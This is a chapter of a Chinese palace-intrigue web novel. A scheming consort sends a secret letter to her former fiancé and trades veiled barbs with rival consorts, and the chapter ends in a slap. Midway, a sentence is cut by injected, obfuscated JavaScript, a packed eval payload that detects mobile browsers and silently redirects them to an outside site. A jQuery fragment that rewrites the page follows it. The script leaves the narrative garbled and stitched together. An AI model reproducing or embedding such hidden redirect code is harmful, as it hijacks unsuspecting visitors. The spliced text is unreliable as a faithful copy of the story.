9. 激怒

作品:《娘娘她野心勃勃

    冬好心里替萧嫔捏了把汗,很快便将东西装好,亲自送去景阳宫。


    待她走后,苏月潆以手支颐,目光瞧着窗外的景色出神。


    过了一会儿,全禄小心翼翼掀了帘子进来,冲着苏月潆躬身行了一礼:“禀娘娘,内务府那头传来消息,说是咸福宫的事儿,妥了。”


    苏月潆闻言回神,眸色一动,笑道:“金海的动作倒是快,说了是那个宫女了吗?”


    全禄小心递上一张二指宽的条子,垂首道:“这是那宫女的籍贯信息,金海说,这是他的同乡,娘娘尽可放心。”


    “你办事,本宫自然是放心的。”苏月潆赞许道。


    全禄作为颐华宫的总领太监,算得上是她的左膀右臂,许多春和她们做不了的事儿,全禄都能办的漂漂亮亮的。


    全禄笑了笑:“替娘娘办事儿,是奴才的福分。”


    苏月潆摆了摆手:“瞅个机会,将这条子送去钟粹宫,给崔嫔。”


    “是。”全禄应道,顿了顿,又瞅着苏月潆的脸色道:“说来也巧,奴才从内务府回来时,听了一耳朵闲话。”


    苏月潆扭过头,见全禄恭谨弯腰垂首,颔首笑道:“什么闲话这般有趣,叫本宫也听听。”


    全禄的性子她了解,是个妥帖沉稳的人,能叫他多嘴的,想来是桩趣事。


    全禄心中思绪一转,面上很快笑道:“听闻今儿个一早,恪娘娘膝下的大皇子去了御花园。”


    苏月潆挑眉,不知怎得就想起行色匆匆的怜才人来。


    果然,便听全禄继续道:“大皇子这般年岁,最是闲不住的时候,又爱摆弄些新鲜玩意儿,这不,最近御苑的骑射师傅给他做了个弹绷子,说是让他练练准头。”


    “哦?”苏月潆弯了弯唇,眼中闪过几丝兴味,伸手从面前的碟子中取了一块点心。


    “每天天不亮,大皇子就拿着弹绷子去御花园打鸟,可今日不知怎得,忽然打中了一个人。”全禄笑了笑。


    苏月潆咬了口点心,抬眼道:“这人不会是怜才人吧?”


    “娘娘料事如神。”全禄道:“就在方才,恪修仪才强压着大皇子去御前请罪呢。”


    御前请罪?这有什么意思。


    怜才人再受宠,也不过是圣上赏玩的一个玩意儿罢了。


    这些日子图个新鲜,喜欢上了,说不得什么时候便扔在一边。


    大皇子却是圣上实实在在的长子,将来可是能争一争那个位置的。


    思及此,苏月潆一手轻轻抚上小腹,若是没有那事...


    她回过神,将手中的点心扔回了盘子中,随口问道:“圣上怎么说的?”


    “自然是好生训诫了一番。”


    “没了?”苏月潆有些意外,竟连些补偿都未给,看来这位怜才人,并不如她们想象的得宠。


    “没了。”全禄肯定道。


    苏月潆笑了笑,挥手道:“行了,你下去吧。”


    话落,苏月潆便倚在窗边,目光瞧着院中一棵树的树尖,指尖在案上轻点。


    春和见状,示意四周伺候的宫人都退了下去,才轻轻上前,冲苏月潆柔声道:“娘娘可是还在担心姬二郎君的事儿。”


    苏月潆不言,只轻叹了一声,怎么能不担心呢。


    “娘娘可要问问荣妃娘娘那头有没有法子?”


    镇国大将军当初,也在太和城驻守过好一阵子。


    苏月潆轻轻摇头,荣妃连消息都不敢透给她,又怎么会掺和进此事中。


    更何况,她拿什么东西来和荣妃交换,能让她说服自己的兄长做这吃力不讨好的事儿。


    不过...


    苏月潆脑中忽然想起一人,他当初,也是同南诏打过仗的。


    思及此,苏月潆一颗心忽然狂跳不停,连忙从榻上起身,提步便往书房走。


    春和等人对视一眼,小心跟了上去。


    还不等踏进门,就见苏月潆坐在太师椅中抬眸,冷声道:“将书房门守好,谁也不许进来。”


    春和心中咯噔一下,脑中很快想到一个可能,连忙将房门关好。


    苏月潆垂着眸子,捏着毛笔思索了半晌,才堪堪落笔。


    长宁侯府的世子爷,她的前未婚夫,曾在太和城驻守三年,想来,他定能帮得上些忙。


    至于他帮不帮...


    苏月潆冷嗤一声,这是他欠自己的。


    一封寥寥数字的信件很快写好,苏月潆捏着信纸挥了挥,字迹很快干透。


    她看着上面笔画银钩的字迹忽然皱起眉,将信纸在烛火上一点,看着它染成灰烬。


    关心则乱。


    苏月潆沉下心,换了左手握笔。


    这次写出来的字堪称歪歪扭扭,连几岁顽童的字都比不上,苏月潆却极为满意,她在信尾处落下一枚弯月,才小心将信纸折了起来,唤道:“春和。”


    “吱呀”一声,春和推门而入。


    苏月潆压低声音,将东西塞给春和,叮嘱道:“这月三十,你随着采买的人一道出宫,就说替我买金翠坊的首饰,然后将东西亲自交给金翠坊的老板,知道么?”


    春和是知晓长宁侯世子和自家娘娘的事的,捏着信纸的手有些出汗,压低嗓音道:“娘娘,这若是被发现...”


    宫妃和外男,这...


    却见苏月潆眼神一凛,冷声道:“所以我只信你,记住,一定不要被任何人发现。”


    事已至此,她实在是没招了,只能试试这个法子了。


    “娘娘...”春和劝道:“马上就是您的生辰,届时只要求一求圣上...”


    “若是圣上不应呢?”苏月潆沉下脸,“春和,按我说的去做。”


    春和咬了咬唇,将信纸小心藏进贴着胸口的地方,沉声道:“是。”


    咸福宫正殿。


    主位上,宣妃一身鹅黄色交领襦裙,领口和袖口皆用金线绣了细密的迎春花,在这样的天气中看着舒服极了。


    下方,苏贵人捏着茶点吃的开心,忍不住赞道:“宣妃娘娘这儿的点心都比旁处的好吃。”


    宣妃弯了弯唇角,整个人笑的像株细弱的迎春花:“喜欢吃便多吃一些。”


    苏贵人点了点头,将手中点心吃完,再抬眸时,有些天真地笑道:“说起来,妾一看娘娘就觉得亲切,昨儿个夜里才想起来,原来妾也合该唤娘娘一声表姐。”


    宣妃有些意外,捧着手中茶盏慢悠悠饮了一口,才道:“本宫怎么记得,好似从未见过妹妹。”


    “娘娘没见过也是寻常。”苏贵人笑了笑,脸上格外真诚,“妾的二姐姐,如今乃是长宁侯世子隋屿的夫人。”


    宣妃是靖阳侯府的庶三娘子,而她嫡出的大姐姐,正是嫁给了安平侯府的世子,巧的是,安平侯府的大姑奶奶,正是隋屿的母亲。


    这么七拐八拐的关系,京中实在多的是,若是投缘,认个亲戚也无妨,若是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240802|197725||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    相看生厌,也未必能碰上几面。


    宣妃抬起眼,打量了苏贵人一番,心中对她的打算看的很是明白。


    她笑了笑,嗓音和缓:“原是如此,这样的关系,却不曾听玉妃提起过。”


    眼下之意,便是提醒苏贵人,你嫡亲的姐姐可还在宫中。


    苏贵人努努嘴,将手中的糕点屑拍干净,有些难过道:“说出来也不怕娘娘笑话,玉妃娘娘...只怕并不喜欢我这个妹妹。”


    “哦?”宣妃有些惊讶。


    苏贵人有些为难地看了眼四周伺候的宫人,宣妃会意,使了个眼色令人都退了下去。


    苏贵人这才有些难堪道:“娘娘许是不知,我母亲,乃是大姐姐的继母。”


    “大姐姐一向不喜欢我母亲,便是在家中时,也常常给我母亲委屈受,我们之间实在是...实在是亲近不起来。”


    “后来,大姐姐又误会了我母亲一些事情,认为我二姐姐是抢了她的...她的...”


    “总之,妾同大姐姐,是远比不上同娘娘亲近的。”


    苏贵人眸子亮了亮,有些小心翼翼道:“妾在宫中也没有能说上话的人,若是娘娘不嫌弃,妾可以常常来寻娘娘说话吗?”


    宣妃颔首,看着苏贵人的眼神流露出关切之意:“你也是个苦命的孩子。”


    苏月潆低下头去,神情恹恹。


    二人又说了好一会儿话,苏月潆才恋恋不舍地告了退。


    她走后,宣妃的贴身宫女砚心小心添好茶盏,有些不解道:“苏贵人是想投靠娘娘?”


    宣妃勾了勾唇,眼中闪过一丝轻蔑:“称不上投靠,不过是想利用本宫罢了。”


    砚心听得皱眉:“真是好大的胆子。”


    宣妃笑了笑,目光悠悠道:“谁利用谁,还不一定呢。”


    说着,她嘱咐道:“这些日子,多送些东西去苏贵人那儿。”


    砚心一愣,很快明白过来,连忙应声。


    那头,苏贵人扶着流萤的手,笑吟吟地往柔光阁走,经过云影阁时,一盆冷水从天而降,径直泼在她小腿上。


    苏贵人被惊地尖叫出声,下意识扭头去看,便见温贵人笑吟吟地倚在门框边,极为敷衍道:“哟,苏贵人怎么在这儿,絮因,你怎么做事儿的!”


    絮因在泼到苏贵人的那一刻便跪倒在地,闻言止不住地磕头道:“苏贵人,奴婢不是故意的,苏贵人饶命。”


    苏贵人火冒三丈地瞪着温贵人,咬牙道:“温芸!你别以为推个奴婢出来,我就不同你计较了!”


    温贵人摊开手,有些无奈道:“苏贵人,我都说了是这奴婢不长眼,你若是生气,要杀要打都悉听尊便。”


    絮因闻言,脸色一白,将头磕地愈响,没几下额头便渗出血迹。


    苏贵人冷笑一声,眯了眯眸子,一步步朝温贵人走近。


    温贵人本下意识后退了一步,可想起是在自个儿的地盘,生生顿住了脚,不甘示弱地看着苏贵人。


    苏贵人直至与温贵人鞋尖相抵才停住,目光一眨不眨地看着温贵人,凑近她耳边讥讽道:“温芸,你以为我不知道么,你就是郑素身边的一条狗,一条只会摇尾乞怜的哈巴狗。”


    “啊!”一声女子的尖叫骤然响起。


    温贵人双眼猩红,想也不想,狠狠一巴掌甩在了苏贵人脸上。


    空气静寂无声。


    四周的宫人尽数跪了下去,半点不敢抬头。